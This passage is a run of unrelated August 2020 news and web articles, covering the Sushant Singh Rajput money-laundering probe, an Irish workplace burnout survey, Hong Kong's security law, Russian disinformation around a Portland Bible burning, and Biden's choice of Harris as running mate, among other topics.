Singh in connection with a money laundering case linked to his death. This is for the first time that any of Sushant's kin has joined the ED probe. Meetu stays in Mumbai, and was the only family member who arrived at the Bandra flat on June 14, the day of the actor demise. ED on July 31, took over the probe into the financial aspects that was raised by his family in a Bihar Police FIR. The agency also interrogated Sushant's friend and roomate Siddharth Pithani and business manager Shruti Modi on Tuesday. While Pithani and Modi arrived at the office of the central probe agency in the Ballard Estate area around 11 am in response to their scheduled summons, Meetu Singh reached a little after 1 pm. She was escorted by women officials of the Mumbai Police to the ED office, thronged by scores of media personnel since questioning in the case began last week. Both Pitani and Shruti Modi were questioned by the probe agency at its Mumbai office on August 10. The ED had also grilled Rhea Chakraborty, the prime accused in the case, for about 9 hours on Monday. Her father Indrajit Chakraborty and brother Showik have also been questioned for various lengths of time earlier. Pithani had told various news channels that he was present in the Bandra flat on June 14 when the 34-year-old actor allegedly hanged himself. According to reports, he had been living with the actor for about a year. The ED has earlier questioned the chartered accountants (CAs) of Rhea and Sushant and the deceased actor's house manager Samuel Miranda. The agency is understood to have asked Rhea - who had stated in her petition to the Supreme Court that she was in a live-in relationship with Rajput - about her friendship with him, business dealings and developments between them over the last few years. The ED's line of questioning, officials said, revolves around Rhea's income, investments, business and professional deals, and links. Also under the ED's scanner are two properties linked to Rhea, one in the city's Khar area and the other in Maharashtra's Raigad district, for their source of purchase and ownership. PTI sources said that ED said they 'want more answers' from Rhea over the alleged mismatch between her income, expenditure and investments. They said Rhea has filed Income Tax Returns stating an income of about Rs 18 lakh in the recent past but the value of her investments is reportedly higher. Her father, they said, is a retired defence personnel who gets a pension of around Rs 1 lakh per month. The sources said Rhea told the agency that she had made the property investments from her income, savings and has also taken bank loans. Rhea has been accused by Rajput's father of abetting his son's suicide. She had initially refused to appear before the agency citing her appeal pending before the Supreme Court that is slated to be heard on Tuesday. Over a third (36%) of Irish employees stated that their mental health & wellbeing has suffered as result of working longer hours during Covid-19 and 47% of managers believe their employees may be at risk of burnout, following a change in work pattern or behaviour bought on by Covid-19. The findings come from a new report published this week by global recruiter Robert Walters: Burning the Candle: Strategies to Combat Workplace Burnout. The survey was conducted in July (a good few months into lockdown/working-from-home). It was a global survey taking place across 31 countries with 1,000 Irish professionals taking part and 250 Irish companies. Those working remotely recorded a 35% increase in productivity, and an overwhelming 87% of these respondents have felt the pressure to keep productivity levels consistently high to prove the case for working from home post-Covid. Whilst two thirds of Irish professionals (61%) believe that wellness policies are important, just a third of companies offer what is required by law. Since remote working began, 21% of Irish professionals claim that the pressure to deliver results has caused a negative impact on their mental health or wellbeing. Over a quarter of Irish professionals (26%) stated that more autonomy whilst remote working was a key factor in their increased productivity. When asked about expectations for the future of work, 29% stated that they would like more autonomy and trust given by the management team. Commenting on the research, Director at Robert Walters Ireland, Suzanne Feeney said, "Increasingly we were seeing offices be re-designed ergonomically, work health insurances enhanced to provide mental health support, and training provided to managers to help understand and deal with employees suffering from poor mental health. Many of these policies were geared around personal mental health issues such as depression and anxiety which have an impact or were exasperated by work." She added, "Burnout is an entirely different and recently recognised condition which, unlike other mental health issues, can be directly linked to work. As a result, employers have a crucial and central role to play in order to ensure their staff do not reach the point of burnout." Source: www.businessworld.ie The number of passengers at Budapests Liszt Ferenc International Airport was over 80% down in July compared to the same month last year but there was a three-fold increase compared to the previous month, the airport operator said. Budapest Airport said in a statement that 301,000 inbound and outbound passengers were registered in July this year, 81% down from July last year. At the same time, there was an increase in the number of relaunched flights following cancellations caused by the novel coronavirus epidemic and the number of passengers grew three-fold compared to June, it added. In August, a total of 500 direct flights operate from Budapest to 98 destinations each week and the willingness to travel appears to be on the rise, with passengers feeling safe at the Budapest airport, it said. CAPA Centre for Aviation figures show that Budapest airport serviced 3.2 million passengers this year so far, 64% fewer than in the same period last year. MTI Photo: Tamas Kovacs A Sinn Fein member has resigned from the party after sending what were described as nasty tweets from an anonymous Twitter account. Senator Malcolm Byrne was one of the public figures targeted in a number of tweets sent from the @peeoneill Twitter account, which was revealed to be that of a prominent Sinn Fein member in Wexford, Paul Heffernan. The Fianna Fail representative called on social media companies to take responsibility for their actions. The Twitter account has since been deleted and Sinn Fein has accepted Mr Heffernans resignation from the party, the Irish Times reports. Local businessman Derek Webb, who also was targeted in some of the tweets that were sent, was the one who discovered that the tweets from the account were Mr Heffernans. Sen Byrne said that social media companies need to take accountability for anonymous accounts. The difference here is that this is not about the rough and tumble and disagreements about political issues, a lot of this is nasty, personalised. But its the fact that its anonymous and the trolls can hide behind that anonymity. There is a bigger issue here around digital literacy around social media companies need to take responsibility for their actions and political leadership calling out this anonymous trolling, he said. He said that some of the tweets aimed at him were homophobic in nature and alleged that they could be defamatory. Ive no problem with people criticising government policy or Fianna Fail policy or giving out to me, that I havent done something in the local area or anything like that, a lot of it is nasty and some of it is quite personalised. I tend to just block these people and it says more about them, Im trying to stay positive. I blocked the @peeoneil account, after a few of [tweets] it becomes very clear what theyre about and I reported it. It was obviously a fake account but Twitter failed to take action, he said. He said that he has not received an apology from Mr Heffernan. Im glad that Sinn Fein recognised that anonymous trolling is a problem and that it is wrong. It would be nice if he would apologise, but I regard the matter now as closed. Sinn Fein did not respond to a request for comment. A falling out during a fishing trip offered motive for the execution-style murder of Mahmoud 'Mick' Hawi, who was ambushed in his car outside a suburban Sydney gym in 2018, a jury has heard. The former Comancheros national president was shot in the head several times moments after leaving Fitness First Rockdale and getting into his black Mercedes on February 15, 2018. Yusuf Guney Nazlioglu, 38, is standing trial in the NSW Supreme Court accused of being the balaclava-clad gunman who ran up to Mr Hawi's parked car and fired the fatal shots through the driver-side window. Nazlioglu allegedly sprinted off and jumped into a silver Mercedes driven by Jamal Eljaidi, the jury was told on Tuesday. Mr Hawi's widow, Carolina Gonzalez, (left) said her husband and accused Yusuf Nazlioglu had been close friends before a falling out during a fishing trip (Mr Hawi's widow pictured left on right with his sister Zeinab Hawi) Both men - who have pleaded not guilty to murder - are accused of torching that car minutes after leaving the scene of the killing and escaping in a second getaway vehicle. The crown case is circumstantial with no direct evidence showing either man was responsible for the murder. Jamal Eljaidi arrives at the Downing Centre Court on Tuesday. He has pleaded not guilty to the murder of former Comancheros national president Mahmoud 'Mick' Hawi 'There are eyewitnesses ... but no witness will say they saw the accused Mr Nazlioglu shoot the deceased,' crown prosecutor Lou Longo said in his opening address. The second getaway car - stored in the garage of a Bexley safe house in the days after the murder - was found a month later in Rosebery, the Crown alleges. Both accused men's genetic profile has been linked to DNA evidence found inside the car and a balaclava was found inside splattered with gunshot residue, Mr Longo said. Mr Hawi's widow, Carolina Gonzalez, said her husband and Nazlioglu had been very close friends and spent a lot of time together in 2015 and 2016. But she said the relationship soured during a fishing trip to the NSW Central Coast in the summer of 2016/17, when Mr Hawi called his wife to say they'd had a disagreement. 'Mike said he had had a disagreement with Yusuf and that he'd asked him to go back to Sydney,' Ms Gonzalez said. Mr Hawi (right), the former Comancheros national president, was shot in the head several times moments after leaving Fitness First Rockdale in February 2018 The former Comanchero bikie boss arrives at the NSW Supreme Court in 2014. Yusuf Guney Nazlioglu, 38, is accused of running up to Mr Hawi's parked car and firing fatal shots through the driver-side window 'He said he did something that embarrassed me with someone ... I said 'OK I'm sure you'll get over it.' 'My husband was very forgiving.' But months later, Mr Hawi told his wife the friendship was 'over' and that 'he couldn't handle his behaviour anymore'. Eljaidi arrives at court on Tuesday. He allegedly drove a silver Mercedes Nazlioglu is accused of jumping into after the alleged killing Avni Djemal, representing Nazlioglu, agreed his client and the deceased had fallen out about a year before the murder. But that's not a motive for murder, and others had 'a greater motive' to kill Mr Hawi, he said in his opening address. Regardless, the big issue in the trial was Nazlioglu 'is not that man' shown on CCTV shooting Mr Hawi dead, the barrister said. Pictured: Zeinab Hawi outside court. There is no direct evidence showing either man was responsible for the murder Carolina Gonzalez covers her face as she leaves the Downing Centre Court during a recess on Tuesday Mr Eljaidi's barrister said he'd barely been involved in the trial given the 'paucity of the evidence' the Crown's case has against the 32-year-old. 'There is no suggestion of any evidence of motive on his behalf,' David Dalton SC said. The trial continues. Mobile-First Indexing is coming But what does mobile-first indexing mean, and what does it entail to be ready by the spring 2021 deadline? Put simply, mobile-first indexing means that Google will rely mostly on the mobile version of any website in order to index and rank it. For sites that already mirror all their desktop sites content on mobile, this may not seem like a big changebut for many sites, desktop-only features and content can put a wrench in the works. However, this change is ultimately an important sign of the times. Google reports that the majority of users now access Google via a mobile device, so the demand for being able to access the full breadth of any sites content via smartphones has never been higher (or more important for businesses). The change to mobile-first indexing is a reflection of these user habits. What you may not know, however, is that for many new sites, mobile-first indexing has already been the default since July 2019. If your businesss site was launched since that time (or was discovered by Google for the first time since then), mobile-first indexing may already be the norm for you. For sites that predated July 2019, site owners are notified via Google Search Console when the switch is made. Here are some of the best ways to optimize the mobile version of your site so that Googlebot can accurately see your content. Make sure to use the same robots meta tags on the mobile version of your site as the desktop version. Using the correct meta tags helps ensure your site appears in the right sections of Google, such as News, and that its only accessible when you need it to be, such as for time-sensitive content like sales. For more guidance on this, be sure to visit Googles reference guide for robots meta tags. Of course, if your site is built correctly and is responsive, you shouldnt see any issues here because you shouldnt have a second mobile version of the site. Explore some of our award-winning responsive website design work. Lazy loading, or deferred loading of less critical content, is usually a good thing, since it helps with quicker load times and is considered a UX best practice. However, theres some threat of improper lazy loading actually hiding content from Google, especially on sites that are truncated for mobile viewing. Google has some best practices guidelines for lazy loading, but one important takeaway is to avoid anything that requires a user action (like click for more or swipe for more) that Googlebot cant perform. Obviously, content is just smaller on a mobile devicewhich is why any good mobile-responsive site scales. But all the scaling in the world doesnt help your users if buttons, images and thumbnails are too small to easily and accurately click with a finger. Make sure that your buttons are both readable and clickable at their smaller, mobile-friendly sizewith plenty of space between CTAs, to avoid user frustration (and a poorer Google ranking). Again, this bears repeating. Not only should the mobile view of your site reflect all of the info, imagery and capabilities of the desktop site where possible, but even things like URLs and alt text should match, too. For instance, different URLs for images used on the mobile versions of pages can hurt your traffic from Google Images, since Google interprets them as brand-new additions rather than just the mobile version of existing content. While the switch to mobile-first indexing may temporarily require more work and attention from you and your team, its ultimately a good thing. It allows users to reliably access everything your businesss site has to offer on-the-go, and makes your content more appealing to those who dont habitually use desktop computersan ever-growing demographic thats essential to reach. Making sure your site is fully optimized for mobile using the tips above gives you the best chance at a Google ranking you can be proud of as the standard changes to mobile-first indexing. You might find some inspiration from our responsive website design work. Curious how your site performs? You can utilize the Google Pagespeed Insights tool to run high-level tests of your webiste to see mobile (and desktop) metrics. Looking for more great SEO tips? Dont miss our earlier article on cutting edge SEO tactics. Ready to give your website an update and set your company up for success in the mobile-first digital landscape? Start a conversation with Esten Sesto and Project6s award-winning team to find out how a beautiful, functional responsive website can transform your business and deliver the customers youre looking to attract. Education Minister Norma Foley has moved to reassure this years school-leavers that their results will be accurate, reliable and fair. Concerns have been raised after a debacle in Scotland, which introduced a process similar to the Leaving Cert Calculated Grades system to replace this years exams. Scotlands First Minister Nicola Surgeon has accepted they did not get it right and 125,000 results awarded by teachers - and subsequently marked down in a national moderation process - have been reinstated. In a statement today, Ms Foley said she and her Department appreciated that events in Scotland may cause anxiety for Irish students, awaiting their Leaving Certificate Calculated Grades results. It added an assurance to all students that the stated aim of the Calculated Grades system is that the results will be accurate, reliable and fair to all students. The key issue to emerge in Scotland was that students from disadvantaged backgrounds were more likely to have had their results downgraded in the national moderation process. That reignited concerns that the system in Ireland would be unfair to high achieving students in disadvantaged communities because of the use schools historical results to cross check against grades awarded by teachers. The Calculated Grades system began with teachers providing estimated marks for students, which are now going through a series of checks and balances, known as national standardisation. In its statement, The Department of Education noted that the system was developed in close consultation and cooperation with key stakeholders, including representative bodies of students, parents, teacher unions, school management and the higher and further education and training sector. The Department said the standardisation process involved quality assurance checks and takes account of whether the group of students taking a subject in the school this year is academically stronger (or weaker) than in previous years. This means that the distribution of grades emerging from the school is not pre-ordained to be the same as it was in previous years. The process is overseen by international experts and an advisory group. This process is still ongoing, and work is continuing to ensure that all students are treated fairly." Share this article Whatsapp Facebook Twitter Linkedin Faiza Mardzoeki and Max Lane (The Jakarta Post) Yogyakarta/Melbourne Tue, August 11, 2020 11:26 526 6657ac82168da9fa101c8a4066d0ea6f 3 Opinion long-distance,marriage,COVID-19,pandemic,separation,lockdown Free Six months of COVID-19 pandemic restrictions have given the two of us interesting things to reflect upon. What we have experienced has not been drastic, but still it has taught us some things things we probably already knew, but have had reinforced. Of course, hundreds of thousands of people have experienced far, far worse than us. More than 700,000 people have already died around the world and there is more to come. Many of them suffered badly in their death and were not able to be farewelled by their loved ones. Tens of thousands have been forced to spend days in a coma on a ventilator, or in an ICU bed. And then there are the families of those who have died or have had to see their parents or grandparents suffer or die. We have experienced nothing like that. Neither have either of us lost our incomes, although because we have become separated we now have the extra expense of maintaining a second place of residence until we can reunite. So given what is happening in the world, we cant really complain. But we can reflect on what we are experiencing and we should do so, as should all of us. One of us (Max) is Australian and the other (Faiza) is Indonesian. Max has annual residency in Indonesia and Faiza has residency in Australia, but we have been living in Yogyakarta (Jogja) for a few years now. One (Max) is a freelance writer and the other (Faiza) is a theater producer, director and playwright. Last December, we visited Australia so that Max could have regular post-cancer check-ups. These check-ups needed to go on for much longer than usual because of potential complications he was facing. So when Faiza went back to Jogja, Max stayed in Melbourne with a plan to return in April or May. But then COVID-19 struck. There were travel restrictions. Quarantine regulations. And medical advice for people considered vulnerable, which applied to Max, to stay put until a vaccine was found. By now (August), with quarantine and lockdowns in Melbourne much more stricter, and with other work and financial complications accumulating as this unplanned separation has developed, it has become clear that the separation will be ongoing for a while maybe another 10 months, so 18 months altogether. We never imagined being apart so long, and certainly didnt plan for it. An unplanned separation for 18 months between husband and wife is not all that unusual. Work or study can result in a planned separation. War and calamity has resulted in millions experiencing this. And, we think, now COVID-19 has resulted in quite a few unplanned separations. Having not lost our incomes, we have are lucky to have places to live, and, most importantly, in this separation we have an internet connection and Wi-Fi and WhatsApp, Skype and Facebook. It creates a strange situation. At breakfast time in Jogja, it is morning coffee time in Melbourne and we can sit and chat and see each other for half an hour or so, almost like we would in the morning when we were together at home in Jogja. We can video chat over one platform or another three or four or five times a day, and can say goodnight face to face in the evening. We cant imagine what separation would have been like in the era of written correspondence when the time gap would have been weeks. And even today there is no doubt there are thousands who have been separated without access to the internet because of new financial pressures or displacement, whether they are COVID-19 separations or of the other calamities that have created the millions of refugees now on planet Earth. Even while we can have face-to-face chats almost any time we wish and every day, there is still something else. What is it exactly that is missing? Whenever you see on television people reuniting after a long period of separation, the first thing they do is embrace they hug. Always. There is something special that an embrace communicates. It is togetherness and also mutual support and also happiness at that togetherness and support. When living together in that same place it can be like living in a permanent state of embrace, because an embrace is possible. Yes, one can embrace via Skype, with words, but not being able to actually physically embrace is the sad reminder of the separation. Separated between countries Australia and Indonesia the hug, and what it conveys, is the missing element, cushioned thankfully by face-to-face chatting via the internet. The situations between the two countries are also different. In Australia, in all cities except Melbourne, COVID-19 has either been suppressed to zero cases or is at very low numbers. In Melbourne, there is currently a new surge of infections and there is a serious lockdown and night-time curfew with perhaps a million working people staying at home and not going to work or working at home. In Melbourne, meeting a friend is no longer possible, and wont be for several weeks more. A visitor by friends to a home is not allowed. Gatherings are banned. Living by oneself, the internet again becomes the bridge to others. In Indonesia, in Jogja, movement is still possible as are visits by people to ones homes. Social separation is not the main stress; however, the steady linear increases in the real stress, not so much for oneself but for the more vulnerable in the community. What can be learned from this kind of separation is the specialness of the embrace, but probably everybody knows this, and the COVID-19 separation is just a reminder. This, however, is a minor deprivation in the big picture. The real suffering is among those who suffer the illness, are hospitalized, ventilated and who may pass away and their loved ones whose separation is forever. The challenge for governments and communities is to minimize as much as possible those who will suffer permanent separation. Skype and WhatsApp will be of no help in those cases. What will be of help are social distancing, masks, hand hygiene and when necessary serious government-supported and properly implemented lockdowns. For life, for the hugs. *** Faiza Mardzoeki is a theater producer, playwright and director of Institut Ungu and founder of WanitaBaca, a feminist bookstore & reading room, based in Yogyakarta. Max Lane is Visiting Senior Fellow, Institute of Southeast Asian Studies Yusof Ishak Institute, Singapore. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Mark Kelly, a prominent Democratic senatorial candidate in Arizona, has spoken out against an advertising campaign he was a part of for a Swiss watchmaker after it was subsequently decried as a "sexist" marketing ploy. The former NASA astronaut, who won his Democratic primary bid to take on Republican incumbent Martha McSally in the November election, distanced himself from his former role as a brand ambassador for Breitling in a statement through his campaign on Tuesday. Mr Kellys role as a brand ambassador for the luxury watchmaker received renewed focus this week after a report in HuffPost explored his time serving as a face for Breitling, which included occasionally posing with scantily clad women in photos later described as shamelessly sexist. Mark used their watches during his shuttle missions, and they worked well for him, which is why he decided to work with the company, Jacob Peters, spokesperson for the Kelly campaign, told the news outlet. He thinks its right that they have changed their advertising practices, the campaign spokesperson added. The watchmakers marketing strategies transformed when the company brought in a new CEO in 2018. Mr Kellys role as an ambassador for the watchmaker ended before he launched his Senate campaign last year. Still, the McSally campaign used the focus on Mr Kellys former agreement with Breitling as an opportunity to attack her Democratic opponent, who was ahead of her in the latest state polling. Caroline Anderegg, communications director for the McSally campaign, told HuffPost in a statement: Mark Kellys willing participation in this type of blatantly sexist marketing campaign is gross, and his refusal to apologise further proves he hasnt learned his lesson. She added: Arizonans deserve a leader like Martha McSally who has been a pioneer for women and girls, not a sleezy salesman who enables the objectification of women and will do anything to make a quick buck. As the news outlet noted, Ms McSally has been a staunch supporter of President Donald Trump, who has been accused of sexual harassment by multiple women. Female pilots reportedly condemned the Breitling advertisements at the time. In some photos, Mr Kelly could be seen posing with women in short black dresses on either side of him in front of a plane. Describing his decision to end the marketing campaign, Breitling CEO Georges Kern reportedly told a Swiss newspaper: I stopped them immediately. Some customers thought they were funny, he added. But such clips were no longer suitable and do not reflect values of todays society. A viral video of protesters burning a Bible in Portland may have been amplified as part of a Russian disinformation campaign. In the video, a pair of protesters appear to throw a Bible onto a fire. Though other protesters in the area do not seem to react to the event, the video, captured and shared by Russia Today owned video outlet Ruptly, became a sensation among right-wing media pundits and politicians as evidence that the protesters are godless book-burners. The video was pushed by Ruptly several nights and became a leading story on Russian-government owned news site Russia Today. While it was true that a pair of protesters burned at least one Bible, the story was misconstrued to depict the scene as a mass group of protesters burning a stack of Bibles. One Twitter user, Ian Michael Cheong - who is Malaysian but portrays himself as a right-wing American political pundit - retweeted the video with the caption "Left-wing activists bring a stack of Bibles to burn in front of the federal courthouse in Portland." The video does not show the location of the fire, does not include more than two protesters, does not show a stack of Bibles, and does not indicate the political ideologies of the people burning the Bible. The protesters near the fire only react when an American flag is tossed onto the fire, after which they cheered. According to local news reports on the protest, another group of protesters tried to extinguish the fire, but that scene was not included in the Ruptly video nor was it mentioned in the Russia Today story. Mr Cheong regularly shares videos from the Portland protest and is not complicit in any targeted production or dissemination of the video apart from his retweeting. "It definitely wasn't my intention to drive just the one story," Mr Cheong told The New York Times. Mr Cheong's tweet was retweeted by Republican lawmakers like Senator Ted Cruz who said "This is who they are," painting the whole of the protesters with a broad brush. The president's son, Donald Trump Jr, also retweeted the video. "Now we move to the book burning phase. I'm pretty sure ANTIFA doesn't actually stand for what they say it stands for. Maybe just remove the anti part of them [sic] name and it's perfect," he wrote There is no evidence the protesters who burned the Bible have any connection to Antifa or share any political ideologies associated with anti-fascist movements. The New York Times reported that American intelligence officials have briefed lawmakers on both covert and overt Russian disinformation tactics, which now allegedly are focused on using US or English-language news sites to push stories out to right-wing and left-wing news consumers that are likely to entice division and anger. Long before the George Floyd protests erupted, American intelligence officials had apparently warned lawmakers that Russia would likely attempt to stoke racial divisions in the country in an effort to cause chaos ahead of the 2020 US election. It's important to note that unnamed American intelligence officials - often used as sources by The New York Times and other national media outlets - were also named as sources that drove the misinformation that helped sell the Iraq War to the American public. The officials say that the Ruptly video is indicative of Russia's latest strategy for stirring dissent among the American public. Unlike 2016, in which Russian intelligence was accused of using Twitter bots and fake social media accounts to push conspiracy theories and disinformation, intelligence officials claim the nation's new strategy is to take singular, largely isolated events like the Bible burning in Portland and inflate their significance. From there, the stories are pushed out to left-wing and right-wing news sites - some of which regularly peddle conspiracy theories - to be amplified and used as kindling for the fire of America's widening political divisions. "Russian intelligence has grown more sophisticated and more highly resourced in their use of online disinformation," Senator Richard Blumenthal, a Democrat, said. His claims were based on a US State Department report examining Russian disinformation campaigns targeting the US. "The methods used in 2016, seem almost rudimentary and quaint," he said. Websites like Inforos, which American intelligence officials claim is operated by Russian military intelligence, have perpetuated coronavirus conspiracy theories and disinformation as well as stories meant to undermine American's trust in NATO. Other websites, like InfoBrics, have direct ties to the KGB successor intelligence agency GRU. The site helped spread the narrative that Ukraine's former president, Petro Poroshenko, was behind the downing of a Malaysian Airlines flight over Ukraine. Investigators later learned that Russian missiles were what destroyed the airliner. (L to R) Chinese Communist Party Head Xi Jinping and his predecessors Hu Jintao and Jiang Zemin are seen in Beijing, China, on Sept. 30, 2014. (Feng Li/Getty Images) Power Struggle in China May Be Playing Out in Beidaihe Commentary The seven top leaders of the Chinese Communist Party (CCP) havent appeared in Chinese media since the beginning of August. That could suggest the annual secretive Beidaihe conclavewhen the CCP leadership gathers with no announcements, no press releases, and no public contactis occurring at the seaside resort not far from Beijing. With various disasters and conflicts in 2020 posing major difficulties for the regime, such as trade talks and the CCP virus (commonly known as the novel coronavirus) outbreak, the secret retreat in Beidaihe for the Party comrades surely merits attention. Politburo Committee Members Avoid Media Since Aug. 1, none of the seven Politburo standing committee members have made any public appearances on state-run broadcaster CCTV. Although Party General Secretary Xi Jinping was reported to have sent a message of condolence to Lebanese President Michel Aoun on Aug. 5 over the deadly explosions in that countrys capital, Beirut, he didnt make a public appearance. One of the signs suggesting the annual conclave of leadership is underway would be that experts in science, medicine, and technology would be invited to Beidaihe for summer vacation for a day or two by current and retired senior cadres before the meeting. For example, in 2003, then-Vice Chair Zeng Qinghong greeted Chinese experts and scientists in Beidaihe to discuss the SARS (severe acute respiratory syndrome) epidemic. This year, amid the raging pandemic, its unknown so far whether the Party has invited experts to the resort. This Years Agenda This years closed-door meeting in Beidaihe will likely focus on the numerous challenges, domestic disasters, and international tensions that need to be resolved. The SinoU.S. relationship has deteriorated to its lowest point, as evidenced by the closures of consulates, along with the series of punitive measures against Chinese officials and companies by the Trump administration. The Party isnt innocent in this diplomatic chain reaction. The CCP has intensified international tensions through a number of actions, including provocative military activities in the Taiwan Strait, South China Sea, and the East China Sea; the border conflict with India and the subsequent decline in relations with neighboring countries; and abandoning the Sino-British Joint Declaration to push forward a national security law in Hong Kong. All have triggered sanctions from countries in the free world. The Party is saddled additionally with domestic problems: floods in the south; drought in the north; epidemics of various infectious diseases throughout China; voices against the regime from social elitessuch as real estate tycoon Ren Zhiqiang, an outspoken descendant of former Party officials (known as a princeling), and Xu Zhangrun, a professor at Tsinghua University; the deteriorating economy; and even apparent infighting among Party factions. A typical telltale case would be that of the conglomerate Tomorrow Group, which responded on July 18 to Beijings announcement of takeovers of nine of its subsidiaries with an online version of a solemn statement. Founded by Xiao Jianhua in 1999, the firm for 20 years spanned multiple fields such as finance, industry, real estate, communication services, energy, and the internet. Xiao is alleged to be a big white glove (money launderer) for high-ranking officials, and was reportedly the subject of an investigation for his close ties to an official known to be loyal to former Party leader Jiang Zemin. Another example occurs in widely circulated footage showing the ceremony to celebrate the completion of the Beidou-3 satellite navigation system on July 31, when Vice Premier Liu He, the ceremonys emcee and a close ally of Xi, publicly humiliated Premier Li Keqiang. Aired on state-run CCTV, the footage shows that when Li was introduced at the ceremony, Liu left him no time to accept applause from the audience. Li was obviously embarrassed. Speculation That Xi Has Been Asked to Step Down Nikkei senior staff writer Katsuji Nakazawa speculated in a recent article that since the CCP faces many problems, Party elders would definitely want to talk to Xi during the Beidaihe conclave. There are also Chinese reports that say Xis opponents are trying to remove him. For instance, an open letter circulating online in March called for an expanded meeting of the Politburo to discuss the issue, that is, whether Xi should step down. The letter was posted to popular social media platform WeChat by Chen Ping, a prominent princeling. Meanwhile, a tweet by hedge fund manager and frequent Beijing critic Kyle Bass went viral in April. According to his sources the Guangdong elite (Uncle Dengs family) are beginning to rattle the cages of change against the supposed emperor for life, referring to former Party leader Deng Xiaoping and Xi. The Epoch Times hasnt yet been able to verify these claims. In a recent speech, U.S. Secretary of State Mike Pompeo called on the free world to act together with the Chinese people, to propel real change in China. Changing the CCPs behavior cannot be the mission of the Chinese people alone. Free nations have to work to defend freedom, he said. If the free world doesnt change communist China will surely change us. It seems unlikely that Xi will be overthrown simply through one Beidaihe meeting. After all, hes developed his military power in the eight years since he took the top Party position. Removing him wont be as easy as were the purges of former Party General Secretaries Hu Yaobang and Zhao Ziyang, since neither Hu nor Zhao held any real power in the military. Nonetheless, it is reasonable to believe that a political power struggle is being staged currently at Beidaihe. Zhang Dun, Ph.D., has covered current affairs and politics in China since 2010, and knows well the political system of the Chinese Communist Party. Previously, he was a chemical researcher at a Chinese institute, at Kyushu University in Japan, and at several institutes in the United States. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Night fell: Hong Kongs first month under Chinas security law WORLD: Teenager Tony Chung said he was walking outside a shopping mall when police officers from Hong Kongs new national security unit swooped, bundled him into a nearby stairwell and tried to scan his face to unlock his phone. Chinesepolitics By AFP Monday 10 August 2020, 03:39PM A political earthquake has coursed through Hong Kong since the national security law came into effect. Photo: AFP Chungs alleged crime was to write comments on social media that endangered national security, one of four students including a 16-year-old girl detained for the same offence that day. The arrests were made under a sweeping new law Beijing imposed on Hong Kong in late June, radically changing the once-freewheeling business hub. Chung describes the law in stark terms. I think night just fell on Hong Kong, the 19-year-old told AFP after his release on bail, the investigation ongoing. A political earthquake has coursed through the former British colony since the national security law came into effect on 30 June. Under the handover deal with London, Beijing agreed to let Hong Kong keep certain freedoms and autonomy until 2047, helping its transformation into a world-class financial centre. The security law a response to last years huge and often-violent pro-democracy protests upended that promise. Last week the United States placed sanctions on Chinese and Hong Kong officials, including city leader Carrie Lam. A second handover Despite assurances that the law would only target an extreme minority, certain peaceful political views became illegal overnight and the precedent-setting headlines have come at a near-daily rate. The overnight change was so dramatic and so severe, it felt as momentous as a second handover, Antony Dapiran, a Hong Kong lawyer who has written books about the citys politics, told AFP. I dont think anyone expected it would be as broad-reaching as it proved to be, nor that it would be immediately wielded in such a draconian way as to render a whole range of previously acceptable behaviour suddenly illegal. The law itself was new territory. It bypassed Hong Kongs legislature its contents kept secret until the moment it was enacted and toppled the firewall between the mainland and Hong Kongs vaunted independent judiciary. China claimed jurisdiction for some serious cases and enabled its security agents to operate openly in the city for the first time, moving into a requisitioned luxury hotel. Officially the law targets subversion, secession, terrorism and colluding with foreign forces. But much like similar laws on the mainland used to crush dissent, the definitions were broad. Inciting hatred of the government, supporting foreign sanctions and disrupting the operation of Hong Kongs government all count as national security crimes, and Beijing claimed the right to prosecute anyone in the world. Hong Kongers did not have to wait long to see how the letter of the law might be applied. The first arrests came on July 1, the anniversary of Hong Kongs handover, mainly against people possessing banners or other objects carrying pro-independence slogans. One man who allegedly drove a motorbike into police while flying an independence flag was the first to be charged with terrorism and secession. The law was felt in many other ways. Schools and libraries pulled books deemed to breach the new law. Protest murals disappeared from streets and restaurants. Teachers were ordered to keep politics out of classrooms. Local police were handed wide surveillance tools without the need for court approval and were given powers to order internet takedowns. Earlier today (Aug 10) Jimmy Lai a local media mogul and one of the citys most vocal Beijing critics was arrested under the new law along with six other people, accused of colluding with foreign forces. Political crackdown The roll-out combined with a renewed crackdown on pro-democracy politicians. In July, authorities announced 12 prospective candidates, including four sitting legislators, were banned from standing in upcoming local elections. They were struck off for having unacceptable political views, such as campaigning to block legislation by winning a majority, or criticising the national security law. City leader Lam later postponed the election by a year, citing a sudden rise in coronavirus cases. Three prominent academics and government critics lost their university jobs. Media started having visa issues including The New York Times, which announced it would move some of its Asia newsroom to South Korea. Gwyneth Ho, one of the disqualified election candidates, described the security laws suppression of freedoms as obvious and quick. We are now in uncharted territory, she told AFP. Nonetheless, Ho remained optimistic. The peoples fighting spirit is still there, waiting for a moment to erupt, she said. Hong Kong people have not surrendered. Joe Biden and Sen. Kamala Harris, D-Calif., shaking hands at a Democratic presidential debate in Detroit in July of 2019. Biden picked Harris to be his running mate, making her the first Black woman to be part of a major partys presidential ticket. Read more WILMINGTON, Del. Joe Biden named California Sen. Kamala Harris as his running mate on Tuesday, making history by selecting the first Black woman and Asian American woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. In choosing Harris, Biden is embracing a former rival from the Democratic primary who is familiar with the unique rigor of a national campaign. Born to a Jamaican father and Indian mother, the 55-year-old first-term senator is one of the party's most prominent figures. She quickly became a top contender for the No. 2 spot after her own White House campaign ended. In a tweet, Biden called Harris a "fearless fighter for the little guy, and one of the country's finest public servants." "Together, with you, we're going to beat Trump," he said. Harris and Biden plan to deliver remarks Wednesday near Biden's home in Wilmington, Delaware. She joins Biden in the 2020 race at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 160,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused severe economic problems. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. After Tuesday's announcement, Trump quickly tweeted a campaign ad that dismisses Harris as "phony" and says she and Biden "jointly embrace the radical left." Trump's uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nation's largest state. Harris's record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned away some liberals and younger Black voters who saw her as out of step on issues of racism in the legal system and police brutality. She tried to strike a balance on these issues, declaring herself a "progressive prosecutor" who backs law enforcement reforms. Biden, who spent eight years as President Barack Obama's vice president, has spent months weighing who would fill that same role in his White House. He pledged in 